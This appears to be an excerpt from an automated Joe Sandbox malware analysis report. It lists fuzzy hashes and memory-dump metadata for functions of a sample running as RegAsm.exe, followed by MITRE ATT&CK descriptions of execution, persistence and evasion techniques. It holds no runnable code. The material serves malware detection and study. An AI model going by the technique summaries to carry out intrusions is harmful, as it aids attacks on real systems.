Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 19b760199f3e39c45f8f69b0258d034e74dc8fa4a956cf6d70b2465a9d136472
Instruction ID: 44072ff8dbd008e627baa775ce3fb9e80e8c1948288d71ba0c355c7cc47ea2ce
Opcode Fuzzy Hash: 19b760199f3e39c45f8f69b0258d034e74dc8fa4a956cf6d70b2465a9d136472
Instruction Fuzzy Hash: 11119130751104AFC7149B19C958B9EB7FAEF89B11F210069E506EB395CFB19C05CB95

Function 06DF2872 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c70886e884596324c0774fa2bde6b63c8369c1c3cf88d0d755cbbf858ed2684
Instruction ID: 3bbe8745fab8e9ea0fc3942671745ea3314d1242c95f3e361959c2b89bde1a5a
Opcode Fuzzy Hash: 8c70886e884596324c0774fa2bde6b63c8369c1c3cf88d0d755cbbf858ed2684
Instruction Fuzzy Hash: 04B1E1307102059FDB55CFA9D880AAABBB6FF89320F05C46AF906CB355CB31D905CBA0

Function 06DF6ED0 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da757d82f434b01dece22a736404c7b291f09e92b6ad784fef4681e4f0ca6970
Instruction ID: 92785e52f7359dec20475f176481049b3ca3e269bd93e14dca2145b789423fe6
Opcode Fuzzy Hash: da757d82f434b01dece22a736404c7b291f09e92b6ad784fef4681e4f0ca6970
Instruction Fuzzy Hash: 7E91D130B102058FCB48EF75E49465DBBB6EF89308B108569E9068B355EF79DD4ACBC1

Function 06DF8448 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70547cd787fe8e2567f3f7a1f8d1955439a06f1dc41e7609f7b2ef5599640251
Instruction ID: 0ac4e10fef709edb4df99be87991ad2ca0f798ba064d5faedee79685ab854c99
Opcode Fuzzy Hash: 70547cd787fe8e2567f3f7a1f8d1955439a06f1dc41e7609f7b2ef5599640251
Instruction Fuzzy Hash: F3410A75B201189FDB54CB99D884AEDB7FAEF88310F458166EA05E7360DB30DC41DBA2

Function 06DF5C28 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 087334997b366d6d3babf8d7d5be6a76f0c658c8f1fd4b0a3b75fd36ede97847
Instruction ID: ca7b97780c41e84b91085486048e9e331fb0f35442af355f75ac88a70863768c
Opcode Fuzzy Hash: 087334997b366d6d3babf8d7d5be6a76f0c658c8f1fd4b0a3b75fd36ede97847
Instruction Fuzzy Hash: 444114B5D01258DFCB54DF99D944ADEBBF5EF88300F14802AE509BB254DB70A945CF90

Function 06DF61B0 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d533a2437901f8dbd99c0d4c7079b3822e35ed1f6ab9b4ee207507b361212fcc
Instruction ID: 7fe168adb971066aeeec8ab7738c5d258480207a0ab2b9ae6617d3eacae3aadf
Opcode Fuzzy Hash: d533a2437901f8dbd99c0d4c7079b3822e35ed1f6ab9b4ee207507b361212fcc
Instruction Fuzzy Hash: 78419D34A00155DFCB54DF64C984E6ABBB2FF85310F5284A9E952AB7A2C771ED01CBA0

Function 06DF5C1E Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4346eea0232a36c150bc33ad039dd6339162187864f218dcc872046b62fbf48f
Instruction ID: a6f922aa6df862ce56a6c4cc5e86cacfbb8c527b4463ca972aa5018b7937562f
Opcode Fuzzy Hash: 4346eea0232a36c150bc33ad039dd6339162187864f218dcc872046b62fbf48f
Instruction Fuzzy Hash: 184114B1D01248EFCB14DF99D994BDEBBF5EF49300F24802AE509AB254DB705945CFA0

Function 06DF6EC0 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c7eb46ec9abcf9612cfb77e79d5cadfa2a7d443a94f10ddfebb5239bc614be9
Instruction ID: 5d6a090590794bfa3b8cc8254b58add8215ced62ab9e6f5ceed05a9395053bb9
Opcode Fuzzy Hash: 8c7eb46ec9abcf9612cfb77e79d5cadfa2a7d443a94f10ddfebb5239bc614be9
Instruction Fuzzy Hash: 2E21D734B102018BCB18AB75E85066E7BABEFC46187008529D90ACB344FFB5DD0AC7D2

Function 06DF841F Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 896ad3eb27a7d9c3fa82b409f8d2c0f3aec10a624ca7ace8c8d9c45f2836437c
Instruction ID: 7a23dc34ff6a01ad33bec8eea8a0af706a3966710f610e495d6836a1de41477e
Opcode Fuzzy Hash: 896ad3eb27a7d9c3fa82b409f8d2c0f3aec10a624ca7ace8c8d9c45f2836437c
Instruction Fuzzy Hash: 96212372D012088FCB04DB9ADC00BDEFBF9EB89320F04802AE544E7252C3385409CBB2

Function 0132D47C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4513884575.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_132d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c4404ecaf8bd61c678aff81c762a3065e3528c18140d6322f1ff0b1a74d60f
Instruction ID: 66f3f502e492be5cb20c347616ec4e92d058e8c86254259ff68e7193996e75a7
Opcode Fuzzy Hash: f4c4404ecaf8bd61c678aff81c762a3065e3528c18140d6322f1ff0b1a74d60f
Instruction Fuzzy Hash: 10213471504244DFDB05EF58D9C0B26BF65FB8831CF24C5ADE9094B356C77AD406CA62

Function 0132D110 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4513884575.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_132d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 776c0ed366feb73db427a2991508e3d432f2538b6d4f3e33581dc9a0e2c97cf7
Instruction ID: 7c26b672bfdbfe09806dcf162be5c334f57c641fdd43e1ae741199311d292b43
Opcode Fuzzy Hash: 776c0ed366feb73db427a2991508e3d432f2538b6d4f3e33581dc9a0e2c97cf7
Instruction Fuzzy Hash: C4213471604204DFDB45EF98D9C0B26BF65FB84318F30C5ADD80A4BB56C33AE446CAA1

Function 0132D2CC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4513884575.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_132d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed9b68c0c2f67b539edd2cd8a800960190f1337162eee5a1076a1c9ecbe0b11
Instruction ID: 709a193e957cc8c247c4502cbbdcda986b949c871277aca1f7e5165fc3d83b29
Opcode Fuzzy Hash: 0ed9b68c0c2f67b539edd2cd8a800960190f1337162eee5a1076a1c9ecbe0b11
Instruction Fuzzy Hash: 34215BB1504344DFDB01EF58D9C0B2ABF69FB88328F24C96DDA490B746C33AD406CAA1

Function 06DF61A1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfb7f07e6ab8d32d6ab59f0ead1a1ad73cea59b67e8e0d21d2be488ed8cd9cd8
Instruction ID: f3f48e97f9acd3986d9b36bbaef7a10b675591d17d25fa8a9cfa646b86019d4a
Opcode Fuzzy Hash: bfb7f07e6ab8d32d6ab59f0ead1a1ad73cea59b67e8e0d21d2be488ed8cd9cd8
Instruction Fuzzy Hash: 4921CF34A001619FCB64EF98C980A9AFBB2FF81310B4284A5D515AFB92C331FC01CBE1

Function 06DF6A38 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3134e5f56264a30ddb7f421c3cb89167ff83df0f8f2fc019fec545f14e24e584
Instruction ID: 0d4cedc792f8e82eb17c0649c9da8eb20a8be6f1a387daa456225bba9187ab19
Opcode Fuzzy Hash: 3134e5f56264a30ddb7f421c3cb89167ff83df0f8f2fc019fec545f14e24e584
Instruction Fuzzy Hash: 8811B1702002865FCB05EB35E844A4E7FAAEF82254B108669D1058F746EF79ED5ACBD1

Function 06DF34F0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 208ecd54a332e6220d4440cddb8696fcc086cd25aeae6e4ef27a9e7ae8071610
Instruction ID: 16bb99ad1b19da96969a6e3833efa43936454e6a86336202ce5198071808ae8e
Opcode Fuzzy Hash: 208ecd54a332e6220d4440cddb8696fcc086cd25aeae6e4ef27a9e7ae8071610
Instruction Fuzzy Hash: 0711F7763001149FCB08DF59E884D5ABB6AEF88765B158156FA058B365CB32DC21DBA0

Function 0132D477 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4513884575.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_132d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3f0733ce8851a1589f40a5fbe057aabe2b6f8a867c37c7fcc40a2fdda36e59
Instruction ID: 4b9b6c720be92556a310fee4e1a4c9b66e083f769a0ccce46be94974420cab48
Opcode Fuzzy Hash: 5c3f0733ce8851a1589f40a5fbe057aabe2b6f8a867c37c7fcc40a2fdda36e59
Instruction Fuzzy Hash: CE11DA75504280CFDB02DF58D9C4B15BFA1FB88318F28C6AAD8494B656C37AD44ACFA2

Function 0132D2C7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4513884575.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_132d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a385c70c6df2fea437dd9638ab4733651be955a019863ca77dc41e91d8421b4c
Instruction ID: b57556a485155c7cd336e2cd847105f6e54c6bfbf00b91a88b1cce98efe227e8
Opcode Fuzzy Hash: a385c70c6df2fea437dd9638ab4733651be955a019863ca77dc41e91d8421b4c
Instruction Fuzzy Hash: EC11BF76504680CFDB12DF14D5C4B59FFA1FB84328F28C6AAD9494B646C33AD44ACBA2

Function 0132D10B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4513884575.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_132d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3f0733ce8851a1589f40a5fbe057aabe2b6f8a867c37c7fcc40a2fdda36e59
Instruction ID: 8b8f20a6c9da5120830c73521efd29f1aae4717806ca71821d42a84025e0bbda
Opcode Fuzzy Hash: 5c3f0733ce8851a1589f40a5fbe057aabe2b6f8a867c37c7fcc40a2fdda36e59
Instruction Fuzzy Hash: B111DD75504280CFDB06DF54D9C4B15BFA1FB84318F28C6AADC494BA56C33AE44ACBA2

Function 06DF6A48 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8358c5b1f95007a5c0f2e42d110c3eb7ebc461f04d18ffd9048f0828f89274f
Instruction ID: 7c18d3f45d393fb64e135d44337aae2689552d75252e859589d029bf02aebd29
Opcode Fuzzy Hash: a8358c5b1f95007a5c0f2e42d110c3eb7ebc461f04d18ffd9048f0828f89274f
Instruction Fuzzy Hash: C011A0703002469BCB05FF35E844A0EBFAAEF81254B108A69D1054B745EF79ED5ACBD0

Function 06DF698E Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ac87eef753e3987649fa606a734dc285dac91f7d6fbfb5144ef3f8fdb1f57c8
Instruction ID: 869185ee1367f5cd087ab12973cd88c7a82e3e9b9acb152ad732e9fda9662b88
Opcode Fuzzy Hash: 4ac87eef753e3987649fa606a734dc285dac91f7d6fbfb5144ef3f8fdb1f57c8
Instruction Fuzzy Hash: 6411227AE64245CFDB40CF12D494A9DBBB0FF857A1B1140AAD6099B672CE34DC02CB90

Function 06DF4798 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d68727b9d734a624a99a3bfa793bfa557b216482b562e343c17f3faac00ea63d
Instruction ID: ff801be963a875bfb88917f1213488378d5a767daed18d382a5a17ea3f859b26
Opcode Fuzzy Hash: d68727b9d734a624a99a3bfa793bfa557b216482b562e343c17f3faac00ea63d
Instruction Fuzzy Hash: 7E011976704258AFCB11DF6ADC94D9EBFAAFF8D210B14806AF919C7251CA3199058BA0

Function 06DF2DF7 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34376e641762cb98c94276ba5416ea19b7a34f0211b65e8c3bb2a0f50cf4eee4
Instruction ID: 34f80d0d9e60187a5cd50bc845f8d03e95fd9432561417f9eb0eb92775b2ff3d
Opcode Fuzzy Hash: 34376e641762cb98c94276ba5416ea19b7a34f0211b65e8c3bb2a0f50cf4eee4
Instruction Fuzzy Hash: C2017C30905309DFCB40DFA9D9406DABBF5FF48310F20882DD55AA7611D335AA41CB90

Function 06DF47A8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aeb90adaf1bb0827711ad275c475579a03ab0e58c35e54c3d00700c0431cdac
Instruction ID: 749d9f70a7c9138f35472668fa672cf0de305a00d8e4ad5e961972c21c1efbcd
Opcode Fuzzy Hash: 6aeb90adaf1bb0827711ad275c475579a03ab0e58c35e54c3d00700c0431cdac
Instruction Fuzzy Hash: 91F0F976700118AF8B44DF5AD884C9EBBAEFF8D250710802AF609D7310CA319D058BA0

Function 06DF5B5B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb843cb00115cab92dd94dacfa56790be6c32216404b3c1ee048790dc9e8a89d
Instruction ID: 5cfe12f212d83ecf33c4f6b409ff7864918e076ed9d9311d2db57743c6e5c691
Opcode Fuzzy Hash: bb843cb00115cab92dd94dacfa56790be6c32216404b3c1ee048790dc9e8a89d
Instruction Fuzzy Hash: 50F02711B541604FC689B77CA85116E5F82DED222031149B5C26A9B3D8CE184D07C3E1

Function 06DF4CA1 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00d78a39f342188e9395e7755ad984cf30ebea5fc4a5c9871750c97f920d6e8
Instruction ID: 25575f89c77ab77c0107bd31e1c1f425958b43b4baa52ccb2023de24835ebde9
Opcode Fuzzy Hash: c00d78a39f342188e9395e7755ad984cf30ebea5fc4a5c9871750c97f920d6e8
Instruction Fuzzy Hash: A8F09031504624AFD7218F5ADC80EA7BBBDFF84320F00842AEA4546640CA35A855C7B1

Function 06DF2E08 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 318e420d33c47b6a486e5bc71b4a9f8573d528d3ecf2d7774717c9a86217a38d
Instruction ID: a61605e9cb10646b5a37bae41f8f18958a9ba9d26f387cd0447fd7622d299c84
Opcode Fuzzy Hash: 318e420d33c47b6a486e5bc71b4a9f8573d528d3ecf2d7774717c9a86217a38d
Instruction Fuzzy Hash: 78F01430D00609DFCB44DFA9D940AAABBB1EF48310B208529D65AA7610D735AA42CF90

Function 06DF45D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c753260c2110709218cf946c1fe33800c2fd1f8ea0af68554576c9973bdd717
Instruction ID: fc51239693639757f3886316bc42e63367dc3b494377dc5a3402f8322a8817fe
Opcode Fuzzy Hash: 0c753260c2110709218cf946c1fe33800c2fd1f8ea0af68554576c9973bdd717
Instruction Fuzzy Hash: 6FE0DF1131A2A01BCB967BAE6C9056BBFEAAFCB56170500BAE31DCB382CD555D0543E2

Function 06DF6AA3 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600af9f3a7200b052f42251b20afb3df64b4083da61ea84bfb0837c35887bb3c
Instruction ID: 955b21eeb602ee370678291cf72ac01270a6d39b07359d7ac54a191074c61b40
Opcode Fuzzy Hash: 600af9f3a7200b052f42251b20afb3df64b4083da61ea84bfb0837c35887bb3c
Instruction Fuzzy Hash: 4DF0A7706006864ACF41BB34F808A0DBF519F81294F248B66D2100BB81DF38E866CBC0

Function 06DF5BD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae15cf3a1463488471a2160cd4448f430037dc85bd1bcfeacfa396dd1ff3fcc
Instruction ID: 17ca39866458bb7f23f67a1484d82c942bf2a6020c173346ff42dadc8541b362
Opcode Fuzzy Hash: 9ae15cf3a1463488471a2160cd4448f430037dc85bd1bcfeacfa396dd1ff3fcc
Instruction Fuzzy Hash: D3E09A31A0020DABCB08DFB4D94096EBBEEEF80204B00C8A8E9059B210EA32DA019790

Function 06DF45E8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19000908d3ce77c0db80b4912044b9df698a02f52b6e7989513b39ec0d6c35d1
Instruction ID: 62bd52cec2072c0b3d67f5cd6abfcdfe1f308e077025e25d5e3b876a83e896dd
Opcode Fuzzy Hash: 19000908d3ce77c0db80b4912044b9df698a02f52b6e7989513b39ec0d6c35d1
Instruction Fuzzy Hash: 1ED05E62301220178698669F6C9452FAACEEBC9975751043DE30EC7340CD629C0643E5

Function 06DF5BCA Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d67210b1439a63697a28ffd3638198ef33ae061214391b9bafd8cf1f69d5654
Instruction ID: 8605180942f952731ee735f855170c22ba8f6b7a7d6e1ccf75a2bee8e0391d66
Opcode Fuzzy Hash: 9d67210b1439a63697a28ffd3638198ef33ae061214391b9bafd8cf1f69d5654
Instruction Fuzzy Hash: C0E02B3060018A67C704EBB8D904E5B7BD9DF41348F10CC5CE50147061EA318A059380

Function 06DF5D8A Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3479363a68cceff274f1dd6213f55a5f638b696aa5d61eb4e5f806c22cdc4a55
Instruction ID: 1021ae7048533cb78707a9d17d1e559734845ac322a5a55a541445437d22baa9
Opcode Fuzzy Hash: 3479363a68cceff274f1dd6213f55a5f638b696aa5d61eb4e5f806c22cdc4a55
Instruction Fuzzy Hash: 0AE026206062806BDB05E7A4CEA4AAA7BA29B83284F1481C9E4498B152D7344F1DD381

Function 06DF5D98 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0058de285826ec5f8299390ab671781c2f891076022f7902bc1160ad732f7b60
Instruction ID: abad73ce834fcfc22ba99f8c2e445156149244588a4fea800ad0aa0f6abb08c9
Opcode Fuzzy Hash: 0058de285826ec5f8299390ab671781c2f891076022f7902bc1160ad732f7b60
Instruction Fuzzy Hash: 64D05E31B02208ABCF04CFB5DD515AEB7EBEB81254B10C1A8E809C7200EA329E029780

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

